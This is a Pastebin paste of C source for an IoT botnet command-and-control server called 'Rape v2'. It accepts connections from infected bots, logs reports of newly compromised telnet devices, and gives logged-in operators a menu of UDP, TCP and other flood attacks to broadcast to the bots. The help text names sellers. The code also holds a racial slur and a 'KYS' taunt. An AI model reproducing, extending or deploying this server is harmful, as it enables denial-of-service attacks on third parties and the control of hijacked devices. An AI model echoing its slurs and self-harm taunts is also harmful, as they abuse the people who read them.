Advertisement
KaraKeiji

RapeV2.c

Mar 15th, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.51 KB | None | 0 0
  1. /*
  2.  
  3. 88888888888b
  4. 888 Y88b
  5. 888 888
  6. 888 d88P 888888b. 888888B.
  7. 88888888888P 88b 888 88b .d888b.
  8. 888 T88b d8888888 888 888 d8P Y8b
  9. 888 T88b .d8 888 888 888 888888888
  10. 888 T88b 888 888 888 d88P Y8b.
  11. 888 T88b Y88888888 88888P8 Y88888
  12. 888
  13. 888 [Serverside] v2
  14. 888
  15. 888
  16.  
  17. Dev: BUZZERD89 <3
  18.  
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <stdint.h>
  24. #include <inttypes.h>
  25. #include <string.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netdb.h>
  29. #include <unistd.h>
  30. #include <time.h>
  31. #include <fcntl.h>
  32. #include <sys/epoll.h>
  33. #include <errno.h>
  34. #include <pthread.h>
  35. #include <signal.h>
  36. #include <arpa/inet.h>
  37. #define MAXFDS 1000000
  38. //////////////////////////////////
  39. struct login_info {
  40. char username[20];
  41. char password[20];
  42. };
  43. static struct login_info accounts[22];
  44. struct clientdata_t {
  45. uint32_t ip;
  46. char connected;
  47. } clients[MAXFDS];
  48. struct telnetdata_t {
  49. int connected;
  50. } managements[MAXFDS];
  51. struct args {
  52. int sock;
  53. struct sockaddr_in cli_addr;
  54. };
  55. static volatile FILE *telFD;
  56. static volatile FILE *fileFD;
  57. static volatile int epollFD = 0;
  58. static volatile int listenFD = 0;
  59. static volatile int OperatorsConnected = 0;
  60. static volatile int TELFound = 0;
  61. static volatile int scannerreport;
  62. //////////////////////////////////
  63. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  64. int total = 0, got = 1;
  65. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  66. return got;
  67. }
  68. void trim(char *str) {
  69. int i;
  70. int begin = 0;
  71. int end = strlen(str) - 1;
  72. while (isspace(str[begin])) begin++;
  73. while ((end >= begin) && isspace(str[end])) end--;
  74. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  75. str[i - begin] = '\0';
  76. }
  77. static int make_socket_non_blocking (int sfd) {
  78. int flags, s;
  79. flags = fcntl (sfd, F_GETFL, 0);
  80. if (flags == -1) {
  81. perror ("fcntl");
  82. return -1;
  83. }
  84. flags |= O_NONBLOCK;
  85. s = fcntl (sfd, F_SETFL, flags);
  86. if (s == -1) {
  87. perror ("fcntl");
  88. return -1;
  89. }
  90. return 0;
  91. }
  92. static int create_and_bind (char *port) {
  93. struct addrinfo hints;
  94. struct addrinfo *result, *rp;
  95. int s, sfd;
  96. memset (&hints, 0, sizeof (struct addrinfo));
  97. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  98. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  99. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  100. s = getaddrinfo (NULL, port, &hints, &result);
  101. if (s != 0) {
  102. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  103. return -1;
  104. }
  105. for (rp = result; rp != NULL; rp = rp->ai_next) {
  106. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  107. if (sfd == -1) continue;
  108. int yes = 1;
  109. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  110. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  111. if (s == 0) {
  112. break;
  113. }
  114. close (sfd);
  115. }
  116. if (rp == NULL) {
  117. fprintf (stderr, "Could not bind\n");
  118. return -1;
  119. }
  120. freeaddrinfo (result);
  121. return sfd;
  122. }
  123. void broadcast(char *msg, int us, char *sender)
  124. {
  125. int sendMGM = 1;
  126. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  127. char *wot = malloc(strlen(msg) + 10);
  128. memset(wot, 0, strlen(msg) + 10);
  129. strcpy(wot, msg);
  130. trim(wot);
  131. time_t rawtime;
  132. struct tm * timeinfo;
  133. time(&rawtime);
  134. timeinfo = localtime(&rawtime);
  135. char *timestamp = asctime(timeinfo);
  136. trim(timestamp);
  137. int i;
  138. for(i = 0; i < MAXFDS; i++)
  139. {
  140. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  141. if(sendMGM && managements[i].connected)
  142. {
  143. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  144. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  145. send(i, ": ", 2, MSG_NOSIGNAL);
  146. }
  147. printf("sent to fd: %d\n", i);
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37m~~~~> ", 13, MSG_NOSIGNAL);
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154. void *BotEventLoop(void *useless) {
  155. struct epoll_event event;
  156. struct epoll_event *events;
  157. int s;
  158. events = calloc (MAXFDS, sizeof event);
  159. while (1) {
  160. int n, i;
  161. n = epoll_wait (epollFD, events, MAXFDS, -1);
  162. for (i = 0; i < n; i++) {
  163. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  164. clients[events[i].data.fd].connected = 0;
  165. close(events[i].data.fd);
  166. continue;
  167. }
  168. else if (listenFD == events[i].data.fd) {
  169. while (1) {
  170. struct sockaddr in_addr;
  171. socklen_t in_len;
  172. int infd, ipIndex;
  173.  
  174. in_len = sizeof in_addr;
  175. infd = accept (listenFD, &in_addr, &in_len);
  176. if (infd == -1) {
  177. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  178. else {
  179. perror ("accept");
  180. break;
  181. }
  182. }
  183.  
  184. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  185. int dup = 0;
  186. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  187. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  188. if(clients[ipIndex].ip == clients[infd].ip) {
  189. dup = 1;
  190. break;
  191. }}
  192. if(dup) {
  193. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  194. close(infd);
  195. continue;
  196. }
  197. s = make_socket_non_blocking (infd);
  198. if (s == -1) { close(infd); break; }
  199. event.data.fd = infd;
  200. event.events = EPOLLIN | EPOLLET;
  201. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  202. if (s == -1) {
  203. perror ("epoll_ctl");
  204. close(infd);
  205. break;
  206. }
  207. clients[infd].connected = 1;
  208. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  209. }
  210. continue;
  211. }
  212. else {
  213. int datafd = events[i].data.fd;
  214. struct clientdata_t *client = &(clients[datafd]);
  215. int done = 0;
  216. client->connected = 1;
  217. while (1) {
  218. ssize_t count;
  219. char buf[2048];
  220. memset(buf, 0, sizeof buf);
  221. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  222. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  223. trim(buf);
  224. if(strcmp(buf, "PING") == 0) {
  225. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  226. continue;
  227. }
  228. if(strstr(buf, "REPORT ") == buf) {
  229. char *line = strstr(buf, "REPORT ") + 7;
  230. fprintf(telFD, "%s\n", line);
  231. fflush(telFD);
  232. TELFound++;
  233. continue;
  234. }
  235. if(strstr(buf, "PROBING") == buf) {
  236. char *line = strstr(buf, "PROBING");
  237. scannerreport = 1;
  238. continue;
  239. }
  240. if(strstr(buf, "REMOVING PROBE") == buf) {
  241. char *line = strstr(buf, "REMOVING PROBE");
  242. scannerreport = 0;
  243. continue;
  244. }
  245. if(strcmp(buf, "PONG") == 0) {
  246. continue;
  247. }
  248. printf("buf: \"%s\"\n", buf);
  249. }
  250. if (count == -1) {
  251. if (errno != EAGAIN) {
  252. done = 1;
  253. }
  254. break;
  255. }
  256. else if (count == 0) {
  257. done = 1;
  258. break;
  259. }
  260. if (done) {
  261. client->connected = 0;
  262. close(datafd);
  263. }
  264. }
  265. }
  266. }
  267. }
  268. }
  269. unsigned int BotsConnected() {
  270. int i = 0, total = 0;
  271. for(i = 0; i < MAXFDS; i++) {
  272. if(!clients[i].connected) continue;
  273. total++;
  274. }
  275. return total;
  276. }
  277. void *TitleWriter(void *sock) {
  278. int datafd = (int)sock;
  279. char string[2048];
  280. while(1) {
  281. memset(string, 0, 2048);
  282. sprintf(string, "%c]0;Bots Connected: %d |+| Feds Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  283. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  284. sleep(2);
  285. }}
  286. int Find_Login(char *str) {
  287. FILE *fp;
  288. int line_num = 0;
  289. int find_result = 0, find_line=0;
  290. char temp[512];
  291.  
  292. if((fp = fopen("login.txt", "r")) == NULL){
  293. return(-1);
  294. }
  295. while(fgets(temp, 512, fp) != NULL){
  296. if((strstr(temp, str)) != NULL){
  297. find_result++;
  298. find_line = line_num;
  299. }
  300. line_num++;
  301. }
  302. if(fp)
  303. fclose(fp);
  304. if(find_result == 0)return 0;
  305. return find_line;
  306. }
  307. void *BotWorker(void *sock) {
  308. int datafd = (int)sock;
  309. int find_line;
  310. OperatorsConnected++;
  311. pthread_t title;
  312. char buf[2048];
  313. char* username;
  314. char* password;
  315. memset(buf, 0, sizeof buf);
  316. char botnet[2048];
  317. memset(botnet, 0, 2048);
  318.  
  319. FILE *fp;
  320. int i=0;
  321. int c;
  322. fp=fopen("login.txt", "r");
  323. while(!feof(fp)) {
  324. c=fgetc(fp);
  325. ++i;
  326. }
  327. int j=0;
  328. rewind(fp);
  329. while(j!=i-1) {
  330. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  331. ++j;
  332. }
  333.  
  334. if(send(datafd, "\x1b[35mUsername: \x1b[37m ", 22, MSG_NOSIGNAL) == -1) goto end;
  335. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  336. trim(buf);
  337. char* nickstring;
  338. sprintf(accounts[find_line].username, buf);
  339. nickstring = ("%s", buf);
  340. find_line = Find_Login(nickstring);
  341. if(strcmp(nickstring, accounts[find_line].username) == 0){
  342. if(send(datafd, "\x1b[35mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  343. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  344. trim(buf);
  345. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  346. memset(buf, 0, 2048);
  347. goto Banner;
  348. }
  349. failed:
  350. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  351. char failed_line1[80];
  352.  
  353. sprintf(failed_line1, "\x1b[31mIncorrect... BYE BITCH\r\n");
  354. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  355. sleep(5);
  356. goto end;
  357.  
  358. Banner:
  359. pthread_create(&title, NULL, &TitleWriter, sock);
  360. char ascii_banner_line1 [5000];
  361. char ascii_banner_line2 [5000];
  362. char ascii_banner_line3 [5000];
  363. char ascii_banner_line4 [5000];
  364. char ascii_banner_line5 [5000];
  365. char ascii_banner_line6 [5000];
  366. char ascii_banner_line7 [5000];
  367. char ascii_banner_line8 [5000];
  368. char ascii_banner_line9 [5000];
  369. char ascii_banner_line10 [5000];
  370. char ascii_banner_line11 [5000];
  371. char ascii_banner_line12 [5000];
  372. char ascii_banner_line13 [5000];
  373. char ascii_banner_line14 [5000];
  374. char welcome_line [80];
  375. char banner_bot_count [2048];
  376. memset(banner_bot_count, 0, 2048);
  377.  
  378.  
  379.  
  380. sprintf(ascii_banner_line1, "\x1b[31m 88888888888b \r\n");
  381. sprintf(ascii_banner_line2, "\x1b[32m 888 Y88b \r\n");
  382. sprintf(ascii_banner_line3, "\x1b[33m 888 888 \r\n");
  383. sprintf(ascii_banner_line4, "\x1b[34m 888 d88P 888888b. 888888B. \r\n");
  384. sprintf(ascii_banner_line5, "\x1b[35m 88888888888P 88b 888 88b .d888b. \r\n");
  385. sprintf(ascii_banner_line6, "\x1b[36m 888 T88b d8888888 888 888 d8P Y8b\r\n");
  386. sprintf(ascii_banner_line7, "\x1b[37m 888 T88b .d8 888 888 888 888888888\r\n");
  387. sprintf(ascii_banner_line8, "\x1b[38m 888 T88b 888 888 888 d88P Y8b. \r\n");
  388. sprintf(ascii_banner_line9, "\x1b[31m 888 T88b Y88888888 88888P8 Y88888 \r\n");
  389. sprintf(ascii_banner_line10, "\x1b[32m 888 \r\n");
  390. sprintf(ascii_banner_line11, "\x1b[33m 888 \r\n");
  391. sprintf(ascii_banner_line12, "\x1b[34m 888 \r\n");
  392. sprintf(ascii_banner_line13, "\x1b[35m 888 \r\n");
  393. sprintf(ascii_banner_line14, "\x1b[35m \r\n");
  394. sprintf(welcome_line, "\x1b[37m ________________________________________________\r\n", BotsConnected(), OperatorsConnected);
  395. sprintf(banner_bot_count, "\r\n\x1b[37m\r\n", accounts[find_line].username);
  396.  
  397. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  404. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  412. while(1) {
  413. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  414. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  415. break;
  416. }
  417. pthread_create(&title, NULL, &TitleWriter, sock);
  418. managements[datafd].connected = 1;
  419.  
  420. while(fdgets(buf, sizeof buf, datafd) > 0)
  421. {
  422. if(strstr(buf, "BOTS")) {
  423. char botcount [2048];
  424. memset(botcount, 0, 2048);
  425. sprintf(botcount, "[+] - Bots: [\x1b[36m %d \x1b[37m] [+] - Feds: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  426. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  427. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  428. continue;
  429. }
  430. if(strstr(buf, "STATUS")){
  431. char statuscount [2048];
  432. memset(statuscount, 0, 2048);
  433. sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  434. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  435. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  436. continue;
  437. }
  438. if(strstr(buf, "HELP")) {
  439. pthread_create(&title, NULL, &TitleWriter, sock);
  440. char helpline1 [80];
  441. char helpline2 [80];
  442. char helpline3 [80];
  443. char helpline4 [80];
  444. char helpline5 [80];
  445. char helpline6 [80];
  446. char helpline7 [80];
  447. char helpline8 [80];
  448. char helpline9 [80];
  449. char helpline10 [80];
  450. char helpline11 [80];
  451. char helpline12 [80];
  452. char helpline13 [80];
  453. char helpline14 [80];
  454. char helpline15 [80];
  455. char helpline16 [80];
  456. char helpline17 [80];
  457. char helpline18 [80];
  458. char helpline19 [80];
  459.  
  460.  
  461. sprintf(helpline1, " \x1b[35m--------------Attack Methods----------------\r\n");
  462. sprintf(helpline2, " \x1b[37m[UDP Flood]\x1b[31m !* UDP IP PORT TIME 32 0 10\r\n");
  463. sprintf(helpline3, " \x1b[37m[TCP Flood]\x1b[32m !* TCP IP PORT TIME 32 0 all 10\r\n");
  464. sprintf(helpline4, " \x1b[37m[STD Flood]\x1b[33m !* STD IP PORT TIME\r\n");
  465. sprintf(helpline5, " \x1b[37m[JUNK Flood]\x1b[34m !* JUNK IP PORT TIME\r\n");
  466. sprintf(helpline6, " \x1b[37m[HOLD Flood]\x1b[35m !* HOLD IP PORT TIME\r\n");
  467. sprintf(helpline7, " \x1b[35m--------------Extra Commands----------------\r\n");
  468. sprintf(helpline8, " \x1b[37m[Kills Attack]\x1b[36m KILL\r\n");
  469. sprintf(helpline9, " \x1b[37m[Bye Bye]\x1b[37m LOGOUT\r\n");
  470. sprintf(helpline10, " \x1b[37m[Clears Screen]\x1b[31m CLEAR\r\n");
  471. sprintf(helpline11, " \x1b[37m[Terms/Rules]\x1b[32m TOS\r\n");
  472. sprintf(helpline12, " \x1b[35m--------------------INFO--------------------\r\n");
  473. sprintf(helpline13, " \x1b[31mServerside: Rape v2\r\n");
  474. sprintf(helpline14, " \x1b[32mClientside: Unknown\r\n");
  475. sprintf(helpline15, " \x1b[33mSellers: @Buzzerd70 - @sirrpolarmods\r\n");
  476. sprintf(helpline16, " \x1b[34mBots: [\x1b[36m %d \x1b[34m] | Feds: [\x1b[36m %d \x1b[34m]\r\n", BotsConnected(), OperatorsConnected);
  477. sprintf(helpline17, " \x1b[31mLogged in as: \x1b[37m%s\r\n", accounts[find_line].username);
  478. sprintf(helpline18, " \x1b[35m--------------------------------------------\r\n");
  479. sprintf(helpline19, " \r\n");
  480.  
  481. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  487. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  488. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  489. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  490. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  500. pthread_create(&title, NULL, &TitleWriter, sock);
  501. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  502. continue;
  503. }
  504. if(strstr(buf, "KILL")) {
  505. char killattack [2048];
  506. memset(killattack, 0, 2048);
  507. sprintf(killattack, "!* KILLATTK\r\n");
  508. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  509. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  510. continue;
  511. }
  512. if(strstr(buf, "CLEAR")) {
  513. char clearscreen [2048];
  514. memset(clearscreen, 0, 2048);
  515. sprintf(clearscreen, "\033[2J\033[1;1H");
  516. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  517. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  518. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  519. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  520. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  521. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  522. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  523. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  524. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  525. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  526. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  527. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  528. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  529. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  530. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  531. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  532. while(1) {
  533. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  534. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  535. break;
  536. }
  537. continue;
  538. }
  539. if(strstr(buf, "TOS")) {
  540. pthread_create(&title, NULL, &TitleWriter, sock);
  541. char tos1 [80];
  542. sprintf(tos1, "\r\n\x1b[34mTOS/RULES: \x1b[37mhttp://pastebin.com/raw/eYdw0Rj3\r\n\r\n");
  543.  
  544. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  545. pthread_create(&title, NULL, &TitleWriter, sock);
  546. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  547. continue;
  548.  
  549. }
  550.  
  551. if(strstr(buf, "KYS")) {
  552. pthread_create(&title, NULL, &TitleWriter, sock);
  553. char kys1 [80];
  554. sprintf(kys1, "\r\n\x1b[31mKYS \x1b[32mKID!\r\n\r\n");
  555.  
  556. if(send(datafd, kys1, strlen(kys1), MSG_NOSIGNAL) == -1) goto end;
  557. pthread_create(&title, NULL, &TitleWriter, sock);
  558. if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  559. continue;
  560.  
  561. }
  562.  
  563. if(strstr(buf, "LOGOUT")) {
  564. char logoutmessage [2048];
  565. memset(logoutmessage, 0, 2048);
  566. sprintf(logoutmessage, "See ya, %s", accounts[find_line].username);
  567. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  568. sleep(5);
  569. goto end;
  570. }
  571. trim(buf);
  572. if(send(datafd, "\x1b[37m~~~~> ", 11, MSG_NOSIGNAL) == -1) goto end;
  573. if(strlen(buf) == 0) continue;
  574. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  575.  
  576. FILE *LogFile;
  577. LogFile = fopen("server.log", "a");
  578. time_t now;
  579. struct tm *gmt;
  580. char formatted_gmt [50];
  581. char lcltime[50];
  582. now = time(NULL);
  583. gmt = gmtime(&now);
  584. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  585. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  586. fclose(LogFile);
  587. broadcast(buf, datafd, accounts[find_line].username);
  588. memset(buf, 0, 2048);
  589. }
  590. end:
  591. managements[datafd].connected = 0;
  592. close(datafd);
  593. OperatorsConnected--;
  594. }
  595. void *BotListener(int port) {
  596. int sockfd, newsockfd;
  597. socklen_t clilen;
  598. struct sockaddr_in serv_addr, cli_addr;
  599. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  600. if (sockfd < 0) perror("ERROR opening socket");
  601. bzero((char *) &serv_addr, sizeof(serv_addr));
  602. serv_addr.sin_family = AF_INET;
  603. serv_addr.sin_addr.s_addr = INADDR_ANY;
  604. serv_addr.sin_port = htons(port);
  605. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  606. listen(sockfd,5);
  607. clilen = sizeof(cli_addr);
  608. while(1) {
  609. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  610. if (newsockfd < 0) perror("ERROR on accept");
  611. pthread_t thread;
  612. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  613. }}
  614. int main (int argc, char *argv[], void *sock)
  615. {
  616. signal(SIGPIPE, SIG_IGN);
  617. int s, threads, port;
  618. struct epoll_event event;
  619. if (argc != 4) {
  620. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  621. exit (EXIT_FAILURE);
  622. }
  623. port = atoi(argv[3]);
  624. telFD = fopen("telnet.txt", "a+");
  625. threads = atoi(argv[2]);
  626. listenFD = create_and_bind (argv[1]);
  627. if (listenFD == -1) abort ();
  628. s = make_socket_non_blocking (listenFD);
  629. if (s == -1) abort ();
  630. s = listen (listenFD, SOMAXCONN);
  631. if (s == -1) {
  632. perror ("listen");
  633. abort ();
  634. }
  635. epollFD = epoll_create1 (0);
  636. if (epollFD == -1) {
  637. perror ("epoll_create");
  638. abort ();
  639. }
  640. event.data.fd = listenFD;
  641. event.events = EPOLLIN | EPOLLET;
  642. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  643. if (s == -1) {
  644. perror ("epoll_ctl");
  645. abort ();
  646. }
  647. pthread_t thread[threads + 2];
  648. while(threads--) {
  649. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  650. }
  651. pthread_create(&thread[0], NULL, &BotListener, port);
  652. while(1) {
  653. broadcast("PING", -1, "NIGGER");
  654. sleep(60);
  655. }
  656. close (listenFD);
  657. return EXIT_SUCCESS;
  658. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement